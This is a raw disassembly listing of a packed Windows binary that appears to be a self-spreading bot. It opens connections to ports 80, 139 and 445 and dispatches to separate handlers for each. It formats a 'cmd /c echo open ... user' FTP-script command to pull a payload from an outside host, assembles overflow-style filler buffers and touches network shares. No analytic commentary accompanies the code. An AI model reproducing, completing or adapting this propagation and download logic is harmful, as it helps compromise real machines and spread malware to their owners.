		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D241
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BB45
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D42A
		xor	bl, bl
		jmp	short loc_40D46E
; ---------------------------------------------------------------------------


loc_40D42A:				; CODE XREF: sub_40D3E0+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_428690
		cmp	ecx, ebx
		jnz	short loc_40D438
		mov	ecx, eax


loc_40D438:				; CODE XREF: sub_40D3E0+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D440
		mov	eax, [ebp+18h]


loc_40D440:				; CODE XREF: sub_40D3E0+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CE358	; send
		cmp	eax, esi
		jz	short loc_40D465
		xor	bl, bl
		jmp	short loc_40D467
; ---------------------------------------------------------------------------


loc_40D465:				; CODE XREF: sub_40D3E0+7Fj
		mov	bl, 1


loc_40D467:				; CODE XREF: sub_40D3E0+83j
		push	edi
		call	sub_41B721
		pop	ecx


loc_40D46E:				; CODE XREF: sub_40D3E0+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D873
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D873
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D3E0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_434F70
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		mov	eax, offset byte_42AA54
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CE048
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40A8D5
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41BFF0
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_434E08
		push	eax
		call	sub_40CCAA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D539
		xor	eax, eax
		jmp	loc_40D661
; ---------------------------------------------------------------------------


loc_40D539:				; CODE XREF: .XPack0:0040D530j
		mov	[ebp-0Ch], esi


loc_40D53C:				; CODE XREF: .XPack0:0040D63Cj
		test	esi, esi
		jnz	loc_40D642
		push	6
		push	1
		push	2
		call	dword_42821C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D62A
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CE308	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D61F
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D5E7
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D873
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D8AB
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D3E0
		add	esp, 1Ch
		jmp	short loc_40D61C
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: .XPack0:0040D5A5j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D601
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1A3
		jmp	short loc_40D619
; ---------------------------------------------------------------------------


loc_40D601:				; CODE XREF: .XPack0:0040D5F1j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D61F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D0C4


loc_40D619:				; CODE XREF: .XPack0:0040D5FFj
		add	esp, 0Ch


loc_40D61C:				; CODE XREF: .XPack0:0040D5E5j
		movzx	esi, al


loc_40D61F:				; CODE XREF: .XPack0:0040D598j
					; .XPack0:0040D60Bj
		push	ebx
		call	dword_4CE3A0	; closesocket
		test	esi, esi
		jnz	short loc_40D635


loc_40D62A:				; CODE XREF: .XPack0:0040D555j
		push	3E8h
		call	dword_428080	; Sleep


loc_40D635:				; CODE XREF: .XPack0:0040D628j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D53C


loc_40D642:				; CODE XREF: .XPack0:0040D53Ej
		lea	ecx, [ebp-8]
		call	sub_40CAD7
		test	esi, esi
		jz	short loc_40D65F
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_434060[eax]
		inc	dword ptr [eax]


loc_40D65F:				; CODE XREF: .XPack0:0040D64Cj
		mov	eax, esi


loc_40D661:				; CODE XREF: .XPack0:0040D534j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750C


loc_40D666:				; CODE XREF: sub_42750C+3j
					; .XPack0:00427525j ...
		push	1
		call	sub_40D873
		retn
; END OF FUNCTION CHUNK	FOR sub_42750C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D66E	proc near		; CODE XREF: sub_40D241+111p
					; sub_40D241+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40D685
		call	sub_426D4A


loc_40D685:				; CODE XREF: sub_40D66E+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40D6C0
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40D7ED
		test	al, al
		jz	short loc_40D6C0
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BC00
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D6C0:				; CODE XREF: sub_40D66E+1Bj
					; sub_40D66E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D66E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6C8	proc near		; CODE XREF: sub_40D241+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40D6DF
		call	sub_426D4A


loc_40D6DF:				; CODE XREF: sub_40D6C8+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40D718
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40D7ED
		test	al, al
		jz	short loc_40D718
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D718:				; CODE XREF: sub_40D6C8+1Bj
					; sub_40D6C8+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D6C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D720	proc near		; CODE XREF: sub_40D241+179p
					; sub_426C60+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D738
		call	sub_426C23


loc_40D738:				; CODE XREF: sub_40D720+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D74A
		mov	esi, [ebp+arg_8]


loc_40D74A:				; CODE XREF: sub_40D720+25j
		cmp	edi, ebx
		jnz	short loc_40D768
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40D8E0
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D8E0
		jmp	short loc_40D7E4
; ---------------------------------------------------------------------------


loc_40D768:				; CODE XREF: sub_40D720+2Cj
		test	esi, esi
		jbe	short loc_40D7AB
		cmp	esi, eax
		jnz	short loc_40D7AB
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D77C
		mov	eax, offset dword_428690


loc_40D77C:				; CODE XREF: sub_40D720+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D7AB
		push	1
		mov	ecx, edi
		call	sub_40D873
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D797
		mov	eax, offset dword_428690


loc_40D797:				; CODE XREF: sub_40D720+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D7E4
; ---------------------------------------------------------------------------


loc_40D7AB:				; CODE XREF: sub_40D720+4Aj
					; sub_40D720+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D7ED
		test	al, al
		jz	short loc_40D7E4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_40D7C8
		mov	eax, offset dword_428690


loc_40D7C8:				; CODE XREF: sub_40D720+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	near ptr sub_41C9B0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D7E4:				; CODE XREF: sub_40D720+46j
					; sub_40D720+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D720	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7ED	proc near		; CODE XREF: sub_40D241+3Dp
					; sub_40D66E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D7FF
		call	sub_426D4A


loc_40D7FF:				; CODE XREF: sub_40D7ED+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_40D827
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_40D827
		cmp	cl, 0FFh
		jz	short loc_40D827
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_40D866
		dec	byte ptr [eax-1]
		push	edx


loc_40D81E:				; CODE XREF: sub_40D7ED+48j
		call	sub_40D873


loc_40D823:				; CODE XREF: sub_40D7ED+4Cj
					; sub_40D7ED+53j
		xor	al, al
		jmp	short loc_40D86E
; ---------------------------------------------------------------------------


loc_40D827:				; CODE XREF: sub_40D7ED+19j
					; sub_40D7ED+20j ...
		cmp	edi, edx
		jnz	short loc_40D842
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D837
		push	1
		mov	ecx, esi
		jmp	short loc_40D81E
; ---------------------------------------------------------------------------


loc_40D837:				; CODE XREF: sub_40D7ED+42j
		cmp	eax, edx
		jz	short loc_40D823
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_40D823
; ---------------------------------------------------------------------------


loc_40D842:				; CODE XREF: sub_40D7ED+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D85F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D854
		cmp	eax, edi
		jnb	short loc_40D86C


loc_40D854:				; CODE XREF: sub_40D7ED+61j
		push	1
		mov	ecx, esi
		call	sub_40D873
		jmp	short loc_40D864
; ---------------------------------------------------------------------------


loc_40D85F:				; CODE XREF: sub_40D7ED+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D86C


loc_40D864:				; CODE XREF: sub_40D7ED+70j
		mov	ecx, esi


loc_40D866:				; CODE XREF: sub_40D7ED+2Bj
		push	edi
		call	sub_40D947


loc_40D86C:				; CODE XREF: sub_40D7ED+65j
					; sub_40D7ED+75j
		mov	al, 1


loc_40D86E:				; CODE XREF: sub_40D7ED+38j
		pop	edi
		pop	esi
		retn	8
sub_40D7ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D873	proc near		; CODE XREF: sub_40D241+1Fp
					; sub_40D241+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D89B
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D89B
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40D894
		cmp	cl, 0FFh
		jz	short loc_40D894
		dec	byte ptr [eax]
		jmp	short loc_40D89B
; ---------------------------------------------------------------------------


loc_40D894:				; CODE XREF: sub_40D873+16j
					; sub_40D873+1Bj
		push	eax
		call	sub_41D2EF
		pop	ecx


loc_40D89B:				; CODE XREF: sub_40D873+8j
					; sub_40D873+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D873	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8AB	proc near		; CODE XREF: .XPack0:0040D5D1p
					; sub_40DA04+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40D7ED
		test	al, al
		jz	short loc_40D8D9
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D8D9:				; CODE XREF: sub_40D8AB+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8E0	proc near		; CODE XREF: sub_40D720+35p
					; sub_40D720+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D8F3
		call	sub_426C23


loc_40D8F3:				; CODE XREF: sub_40D8E0+Cj
		mov	ecx, edi
		call	sub_40DA04
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D909
		mov	ebx, eax


loc_40D909:				; CODE XREF: sub_40D8E0+25j
		test	ebx, ebx
		jbe	short loc_40D93F
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D300
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D7ED
		test	al, al
		jz	short loc_40D93F
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D93F:				; CODE XREF: sub_40D8E0+2Bj
					; sub_40D8E0+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D8E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D947	proc near		; CODE XREF: sub_40D7ED+7Ap
		mov	eax, offset loc_427554
		call	sub_41D2D0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D96D
		mov	edi, [ebp+8]


loc_40D96D:				; CODE XREF: sub_40D947+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D97A
		xor	eax, eax


loc_40D97A:				; CODE XREF: sub_40D947+2Fj
		push	eax
		call	sub_41D635
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D9AB
; ---------------------------------------------------------------------------


loc_40D986:				; DATA XREF: .XPack0:00428FA8o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D995
		xor	eax, eax


loc_40D995:				; CODE XREF: sub_40D947+4Aj
		push	eax
		call	sub_41D635
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D9A5
		retn
; ---------------------------------------------------------------------------


loc_40D9A5:				; DATA XREF: sub_40D947+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D9AB:				; CODE XREF: sub_40D947+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D9C9
		cmp	eax, edi
		jbe	short loc_40D9B8
		mov	eax, edi


loc_40D9B8:				; CODE XREF: sub_40D947+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_40D9C9:				; CODE XREF: sub_40D947+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D873
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D9E9
		mov	edi, ebx


loc_40D9E9:				; CODE XREF: sub_40D947+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D947	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA04	proc near		; CODE XREF: sub_40D8E0+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DA31
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DA31
		cmp	al, 0FFh
		jz	short loc_40DA31
		push	1
		call	sub_40D873
		push	esi
		call	sub_41B650
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D8AB


loc_40DA31:				; CODE XREF: sub_40DA04+9j
					; sub_40DA04+10j ...
		pop	edi
		pop	esi
		retn
sub_40DA04	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA34	proc near		; DATA XREF: .XPack0:0042A008o
		test	byte_4DE8E4, 1
		jnz	short loc_40DA44
		or	byte_4DE8E4, 1


loc_40DA44:				; CODE XREF: sub_40DA34+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D6B0
		pop	ecx
		retn
sub_40DA34	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA56	proc near		; CODE XREF: .XPack0:0040DE67p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4355C0
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4355B8 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_4404C4
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_4280E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D6F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D6F1
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4D1010
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CE3A8
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DB1A
		cmp	eax, ebx
		jnz	short loc_40DB24


loc_40DB1A:				; CODE XREF: sub_40DA56+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CE3A8


loc_40DB24:				; CODE XREF: sub_40DA56+C2j
		cmp	eax, 5
		jz	short loc_40DB32
		cmp	eax, ebx
		jz	short loc_40DB32
		xor	eax, eax
		inc	eax
		jmp	short loc_40DB34
; ---------------------------------------------------------------------------


loc_40DB32:				; CODE XREF: sub_40DA56+D1j
					; sub_40DA56+D5j
		xor	eax, eax


loc_40DB34:				; CODE XREF: sub_40DA56+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB39	proc near		; CODE XREF: .XPack0:0040DEB9p
					; .XPack0:0040DF99p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4355C0
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4355B8 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_4404C4
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_4280E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D6F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D6F1
		add	esp, 10h
		jmp	short loc_40DBD7
; ---------------------------------------------------------------------------


loc_40DBCC:				; CODE XREF: sub_40DB39+AFj
		push	7D0h
		call	dword_428080	; Sleep


loc_40DBD7:				; CODE XREF: sub_40DB39+91j
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CE240
		test	eax, eax
		jnz	short loc_40DBCC
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_40DB39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBEF	proc near		; CODE XREF: .XPack0:0040DEE5p
					; .XPack0:0040E026p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C190
		push	esi
		push	edi
		push	offset byte_42AA54
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B0CB
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DE3B
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	near ptr sub_41C9B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	near ptr sub_41C9B0
		lea	esi, [edi+0D7h]
		jmp	short loc_40DCB1
; ---------------------------------------------------------------------------


loc_40DC73:				; CODE XREF: sub_40DBEF+D0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	near ptr sub_41C9B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	near ptr sub_41C9B0
		lea	esi, [esi+edi+30h]


loc_40DCB1:				; CODE XREF: sub_40DBEF+82j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_40DC73
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DCDC
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DCE5
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DCE3
; ---------------------------------------------------------------------------


loc_40DCDC:				; CODE XREF: sub_40DBEF+D9j
		cmp	[ebp+arg_C0], 3


loc_40DCE3:				; CODE XREF: sub_40DBEF+EBj
		jnz	short loc_40DCEE


loc_40DCE5:				; CODE XREF: sub_40DBEF+E2j
		push	4
		push	offset dword_4355B4
		jmp	short loc_40DCF5
; ---------------------------------------------------------------------------


loc_40DCEE:				; CODE XREF: sub_40DBEF:loc_40DCE3j
		push	4
		push	offset dword_4355B0


loc_40DCF5:				; CODE XREF: sub_40DBEF+FDj
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_4350E8
		push	eax
		call	near ptr sub_41C9B0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_43544C
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	near ptr sub_41C9B0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_435460
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	near ptr sub_41C9B0
		add	edi, 3Ch
		push	30h
		push	offset dword_4354A0
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
